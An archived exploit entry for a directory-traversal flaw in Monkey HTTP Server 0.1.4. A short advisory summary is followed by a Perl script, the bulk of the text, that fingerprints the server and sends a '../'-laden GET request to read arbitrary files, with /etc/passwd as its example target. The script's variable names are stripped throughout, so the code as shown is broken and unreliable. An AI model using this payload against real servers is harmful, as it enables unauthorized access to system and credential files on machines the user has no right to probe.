Monkey HTTP Server 0.1.4 - File Disclosure

source: https://www.securityfocus.com/bid/5792/info

Monkey HTTP server is prone to a directory-traversal bug that may allow attackers to access sensitive files.

By passing a malicious query to a vulnerable server, an attacker can potentially gain access to arbitrary webserver-readable files. This issue occurs because the application fails to sufficiently validate the user-supplied input.

#!/usr/bin/perl
#
# (0 day;) Monkey-0.1.4 reverse traversal exploit
#
# Usage:
#    perl monkey.pl <hostname> <httpport> <file>
#
#    <hostname> - target host
#    <httpport> - port on which HTTP daemon is listening
#    <file>     - file which you wanna get
#
# Example:
#    perl monkey.pl www.ii-labs.org 80 /etc/passwd
#
#                             by DownBload <[email protected]>
#                             Illegal Instruction Labs
#
use IO::Socket;

 sub sock () {
    = IO::Socket::INET->new (PeerAddr => ,
                                  PeerPort => ,
                                  Proto    => "tcp")
   || die "[ ERROR: Can't connect to !!! ]\n\n";
 }

 sub banner() {
  print "[--------------------------------------------------]\n";
  print "[       Monkey-0.1.4 reverse traversal exploit     ]\n";
  print "[        by DownBload <downbload\@hotmail.com>      ]\n";
  print "[             Illegal Instruction Labs             ]\n";
  print "[--------------------------------------------------]\n";
 }

 if (0ARGV != 2)
 {
  banner();
  print "[ Usage:                                           ]\n";
  print "[    perl monkey.pl <hostname> <httpport> <file>   ]\n";
  print "[--------------------------------------------------]\n";
  exit(0);
 }

  = [0];
  = [1];
  = [2];

 banner();
 print "[ Connecting to ... ]\n";
 sock();
 print "[ Sending probe... ]\n";
 print  "HEAD / HTTP/1.0\n\n";
 while ( = <>) {  =  . ; }
 if ( =~ /Monkey/) { print "[ Monkey HTTP server found,
continuing... ]\n"; }
 else { die "[ SORRY: That's not Monkey HTTP server :( ]\n\n"; }
 close ();

 print "[ Connecting to ... ]\n";
 sock();
 print "[ Sending GET request... ]\n";
 print  "GET //../../../../../../../../../ HTTP/1.0\n\n";
 print "[ Waiting for response... ]\n\n";
 while ( = <>) { print ; }
 close ();